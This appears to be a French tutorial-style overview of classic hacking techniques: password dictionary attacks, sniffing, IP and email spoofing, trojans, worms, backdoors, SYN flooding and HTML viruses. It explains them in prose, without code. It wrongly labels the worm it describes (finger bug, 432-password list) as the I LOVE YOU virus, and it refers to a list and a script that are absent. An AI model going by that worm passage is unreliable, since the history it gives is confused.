La manière la plus classique qu'un hacker va essayer d'obtenir un mot de passe est par l'intermédiaire d'une attaque avec un dictionnaire. Dans ce genre d'attaque, le hacker utilise un dictionnaire de mots et de noms propres, et il les essaie un à un pour vérifier si le mot de passe est valide. Bien évidemment, ces attaques ne se font pas " à la main ", mais avec des programmes qui peuvent deviner des centaines voire des milliers de mots de passe à la seconde. Ce procédé est d'autant plus facile, qu'il lui permet de tester des variations sur ces mots : mots écrits à l'envers, majuscules et minuscules dans le mot, ajout de chiffres à la fin du mot, etc ... De plus la communauté des hackers a construit de gros dictionnaires spécialement conçus pour cracker les mots de passe. En utilisant des mots de langues étrangères, ou des noms de choses, de personnes ou encore de villes, n'est d'aucun effet contre ces dictionnaires. Le plus connu des programmes utilisé pour cracker les mots de passe est " Brutus " avec son dictionnaire de 50 000 mots.

Si un hacker ne peut pas deviner un mot de passe, alors il a d'autres outils pour l'obtenir. Une façon qui est devenue assez populaire est le " sniffing " de mots de passe. La pluspart des réseaux utilisent la technologie de " broadcasting " ce qui signifie que chaque message (ou paquet) qu'un ordinateur transmet sur un réseau peut être lu par n'importe quel ordinateur situé sur le réseau. En pratique, tous les ordinateurs sauf le destinataire du message vont s'apercevoir que le message n'est pas destiné pour eux et vont donc l'ignorer. Mais par contre, beaucoup d'ordinateurs peuvent être programmés pour regarder chaque message qui traverse le réseau. Si une personne mal intentionnée fait ceci, alors elle pourra regarder les messages qui ne lui sont pas destinés.

Les hackers ont des programmes qui utilisent ce procédé et qui scannent tous les messages qui circulent sur le réseau en repérant les mots de passe. Si quelqu'un se connecte sur un ordinateur à travers un réseau et que des ordinateurs ont été compromis par le procédé de sniffing, alors cette personne risque contre son gré de donner son mot de passe. C'est pourquoi il existe une menace sérieuse pour les personnes qui se connectent sur des ordinateurs distants (par exemple en utilisant Telnet). Toutefois, si quelqu'un se connecte sur la console d'un système (et non pas sur un terminal), son mot de passe ne ciculera pas sur le réseau ou il pourrait faire l'objet d'un sniffing. Mais si une personne se connecte sur un autre réseau ou à partir d'un prestataire de service Internet, alors dans ce cas elle sera dépendante de la sécurité de ces réseaux.

L'adresse IP d'un ordinateur est l'adresse qui est utilisée pour reconnaitre un ordinateur sur Internet. Elle est présumée valide lorsqu'elle est certifiée par les services TCP et UDP. Un des principaux problèmes est que en utilisant le routage source d'IP, l'ordinateur du hacker peut se faire croire comme étant un ordinateur connu. Brièvement, le routage source d'IP est une option qui peut être utilisée pour spécifier une route directe à une destination et renvoyer le chemin de retour à l'expéditeur. La route peut inclure l'utilisation d'autres routeurs ou de server qui n'auraient normalement pas été utilisés pour faire suivre les paquets à la destination finale. Voici un exemple qui montre comment ceci peut être utilisé de telle facon que l'ordinateur de l'intru apparaisse comme étant l'ordinateur certifié par le serveur :

- L'agresseur change l'adresse IP de son ordinateur pour faire croire qu'il est un client certifié par le serveur

- Il va ensuite construire une route source jusqu'au serveur qui spécifiera le chemin de retour direct que les paquets IP devront prendre pour aller au serveur et qu'ils devront prendre pour retourner à l'ordinateur de l'agresseur en utilisant le client certifié comme dernière étape dans la route vers le serveur.

- L'agresseur envoie une requête client au serveur en utilisant la route source.

- Le serveur accepte la requête du client comme si elle provenait directement du client certifié et retourne une réponse au client.

- Le client, utilisant la route source, fait suivre le paquet à l'ordinateur de l'agresseur.

Beaucoup de machine de type UNIX acceptent les paquets de route source et les redirigent comme la route source l'indique. Beaucoup de routeurs acceptent également les paquets de route source bien que certains d'entre eux peuvent être configurer pour bloquer ces paquets.

Une autre manière encore plus simple pour " spoofer " un client est d'attendre que le système client ait éteint sa machine et de se faire passer ensuite passer pour ce dernier. Dans beaucoup d'entreprises, les employés utilisent des PC's et des réseaux TCP/IP pour se connecter sur des serveurs locaux UNIX. Les PC's utilisent souvent NFS pour obtenir un accès aux répertoires et aux fichiers du serveur (NFS utilise les adresses IP uniquement pour autentifier les clients). Un intru pourrait configurer un PC avec le même nom et la même adresse IP qu'un autre ordinateur, et alors essayer de lancer des connexions au serveur UNIX comme si il était le " vrai " client. Ceci est très simple à réaliser et ressemblerait à une attaque de l'intérieur. Les courriers électroniques sur Internet sont particulièrement sujet au spoofing car très facile à réaliser. Les courriers électroniques sans l'ajout d'une signature digitale ne peuvent pas être d'origine fiable. Par exemple, considérons que l'échange prenne place quand des serveurs Internet échange un courrier électronique. Cet échange a lieu en utilisant un simple protocol consistant en une série de commandes en caractères ASCII. Une personne maligne pourrait facilement entrer ces commandes à la main en utilisant Telnet pour se connecter directement au port SMTP (Simple Mail Transfer Protocol) du système (port 25 sur les systèmes UNIX). Le serveur recevant ces commandes fait confiance à cette personne en disant qui elle est. D'où le fait que le courrier électronique peut lui aussi être spoofé facilement en entrant une adresse d'expéditeur différente de l'adresse réelle. Comme quoi, sans aucun privilège, on peut sans problème falsifier ou spoofer le courrier électronique.

D'autres services comme le " Domain Name Service " peuvent ausi être spoofés mais avec toutefois plus de difficultés que le courrier électronique. Ces services représentent une crainte qui mérite d'être considérée quand on les utilise.

Un cheval de Troie est un programme qui se cache lui même dans un autre programme apparemment au dessus de tout soupcon. Quand la victime (l'utilisateur normal) lance ce programme, elle lance par la même le cheval de Troie caché.

Il y a des exemples de chevaux de Troie UNIX sur l'Internet. Par exemple, en 1995, un serveur FTP bien connu a été pénétré et les agresseurs ont modifié un programme très populaire disponible sur ce site. Le cheval de Troie installé à l'intérieur du programme permettait quand il était exécuté d'ouvrir l'accès au système UNIX à n'importe qui.

Un ver est un agent autonome capable de se propager sans l'utilisation d'un programme quelconque ni d'une action par une personne. La plus célèbre attaque de vers est bien sûre celle du virus I LOVE YOU. Dans les 8 heures après le lancement de ce programme, entre 2000 et 3000 ordinateurs étaient déjà infestés. Les ordinateurs commencèrent à tomber en panne parce que le programme du ver réapparaissait plus rapidement que les connexions réseaux pouvaient l'effacer.

Que s'est-il exactement passé ? Le ver infestait seulement les ordinateurs fonctionnant sur un système UNIX particulier. Chaque ver créait une liste de machines distantes cibles qui se trouvait sur l'ordinateur où le ver agissait. En parallèle, le ver : - essayait de trouver les mots de passe des comptes utilisateurs en essayant des permutations à partir des noms de comptes et en vérifiant une liste de 432 mots de passe courants. - essayait d'entrer dans chaque machine cible en se faisant passer pour un utilisateur de la machine " attaquante " (après avoir cracké le mot de passe utilisateur) et en utilisant un " bug " dans le protocole " finger ".

Quand une attaque fonctionnait, le ver créait un petit programme et les commandes pour compiler et exécuter sur la machine distante. Ce ver avait aussi des mechanismes qui lui permettaient de camoufler sa présence sur une machine. C'est une méthode utilisée par les hackers quand un nouveau " bug " est découvert dans un système d'exploitation. Cela a " l'avantage " pour l'agresseur de pouvoir attaquer un maximum de sites en peu de temps.

Une trappe est un point d'entrée dans un système informatique qui passe au-dessu des mesures de sécurité normales. C'est généralement un programme caché ou un composant électronique qui permet au système de protection d'être inefficace. De plus, la trappe est souvent activée par un évènement ou une action " normale ".

Une trappe peut aussi être un trou de sécurité dans un système qui a été délibérément mis en place par les créateurs ou les personnes chargées de la maintenance. Le principal intéret de ces trappes n'est pas toujours néfaste : certains systèmes d'exploitations, par exemple, ont des comptes utilisateurs avec de hauts privilèges destinés pour faciliter le travail des techniciens de maintenance.

En 1983, Ken Thompson (un des auteurs de UNIX) révela l'existence d'une trappe dans les premières versions de UNIX qui pourrait être identifié comme l'un des plus malins pièges informatiques de tout les temps. Le compilateur C contenait du code qui reconnaissait quand la commande " login " était recompilée et insérait du code qui reconnaissait un certain mot de passe que Thompson avait choisi. Ce mot de passe lui ouvrait l'entrée du système qu'un compte utilisateur ou non ait été créé pour lui. Normalement ce genre de trappes peut être éliminé en la supprimant du code source du compilateur et en le recompilant. Mais pour recompiler le compilateur, il faut utiliser le compilateur. Donc, Thompson s'était aussi arrangé pour que le compilateur reconnaisse quand il compilait une version de lui-même et insérait dans le compilateur recompilé le code qui reconnaissait la procédure de compilation de la commande " login " ! De cette facon, le piège pouvait se perpétuer indéfiniment et laisser une trappe en place sans aucune trace dans les programmes sources.

Presque à chaque fois qu'un hacker quitte un système, il laisse derrière lui une ou plusieurs trappes pour être capable de revenir quand il veut. C'est pourquoi, quand un système a été attaqué, il est plus prudent de vérifier tout le système de fichiers ou bien de ré-installer le système d'exploitation.

Quand un système client essaie d'établir une connexion TCP à un système fournissant un service (le serveur), le client et le serveur échange une séquence de messages. Cette connexion technique s'applique à toutes les connexions TCP-IP (Telnet, Web, email, etc ...)

Le système client commence par envoyer un message SYN (pour synchronisation) au serveur. Le serveur renvoie alors un accusé de reception du SYN: SYN-ACK (pour synchronisation-aknowledgment) au client. Le client finit alors par établir la connexion en répondant par un ACK. La connexion entre le client et le serveur est donc ouverte et le service d'échange de données peut s'exécuter entre les deux partenaires de la connexion.

Voici un petit récapitulatif de ce qui se produit pour l'établissement d'une connexion :

Client Serveur ------- --------- SYN --------------> <--------------- SYN-ACK ACK -------------->

Le serveur et le client peuvent donc commencer à s'échanger des données. Les abus viennent au moment où le serveur a renvoyé un accusé de reception du SYN (ACK-SYN) au client mais n'a pas recu le " ACK " du client. C'est alors une connexion à demi-ouverte. Le serveur construit dans sa mémoire système une structure de données décrivant toutes les connexions courantes. Cette structure de données est de taille finie, ce qui veut dire qu'il peut se créer un dépacement de capacité (overflow) en créant intentionellement trop de connexions partiellement ouvertes.

Le fait de créer ces demi-connexions sans se faire repérer est facilement réalisable avec l'IP spoofing. L'ordinateur de l'agresseur envoie des messages SYN à la machine victime ; ceux-ci paraissent provenir d'un ordinateur bien défini mais qui en fait, fait référence à un système client qui n'est pas capable de répondre au message SYN-ACK. Ce qui veut dire que le message ACK final ne sera jamais renvoyé au serveur victime.

Ces demi-connexions dans la structure de données du serveur victime vont éventuellement créer un débordement dans cette structure et le serveur sera incapable d'accepter d'autres connexions tant que la table ne sera pas vidée. Normalement, il y a un système de " time-out " associé à chaque connexion ouverte, donc les demi-connexions devraient expirer et le serveur victime récupérer de la place libre dans sa mémoire pour d'autres connexions. Toutefois, le système agresseur peut simplement continuer à envoyer des paquets dont l'IP est spoofée plus vite que le serveur victime puisse expirer les demi-connexions.

Dans la plupart des cas, la victime d'une telle attaque aura des difficultés à accepter toute nouvelle connexion. Dans ces cas, l'attaque n'affectera pas les connexions déjà existentes ou la capacité à créer des connexions de l'intérieur vers l'extérieur. Par contre, dans certains cas, le serveur peut épuiser toutes ses ressources mémoires, tomber en panne ou être rendu inopérant.

La localisation de l'attaque est très souvent obscure parce que les adresses des paquets SYN envoyés ne sont très souvent pas plausibles. Quand le paquet arrive au serveur victime, il n'y a pas de moyens de déterminer sa véritable source. Comme Internet fait suivre les paquets basés sur une adresse de destination, le seul moyen de valider la source d'un paquet est d'utiliser le filtrage.

Il y a encore une grande variété d'autres méthode d'attaques mais elle sont d'un niveau relativement élevé pour un utilisateur normal d'UNIX. Voici une courte liste de quelques une d'entre elles :

Ce n'est absolument pas une liste exhaustive car il existe probablement beaucoup de type d'attaques beaucoup plus poussées.

Wscript/Zulu / taille : +- 8K / infection : fichiers HTML (html et htm) / méthode : VBScript (Visual Basic Script) / systeme affecté : Windows avec Internet Explorer. Bon alors le virus est en VBScript et comme il est crypté, au chargement de la page, sa première tâche est de se decrypter. C'est à ce moment là qu'il devient détectable (par tres tres peu d'anti-virus..).

parmi les virus HTML seuls ceux fonctionnant avec VBScript peuvent ajouter leur propre code en remplacant l'ancien. Les plus connus sont HTML.Internal , Wscript/Zulu et HellScript. .Peut-etre qu'ils agissent tous comme Wscript/Zulu. Dans Wscript/Zulu, la routine scanne le repertoire (le cache donc) et recherche les fichiers .html et .htm. Le virus va créer un fichier temporaire, se copier dedans puis finalement écraser le fichier html original sans supprimer les autres données. Pour connaître toute l'etendue des possibilités du virus il faudrait avoir la source non cryptée. A partir de là on peut dire qu'il est polymorphe (puisque sa valeur de cryptage est basée sur une random generée...).

Ce virus créé par un pirate montre bien que l'on ne peut pas savoir quand un virus va nous tomber dessus et qu'il est même dangereux de surfer sur la toile (voir les virus java).

Ce javascript va rediriger le newgroup reader vers le lecteur C de la victime et ajouter des groupes dans le client news jusqu'a ce que celui ci sature et plante. Si le processus n'est pas interrompu par l'utilisateur, allez savoir ce qui peut arriver.

Ce code sert juste d'exemple pour montrer que tout comme un virus html, même une page toute bête en apparence peut se révéler dévastatrice.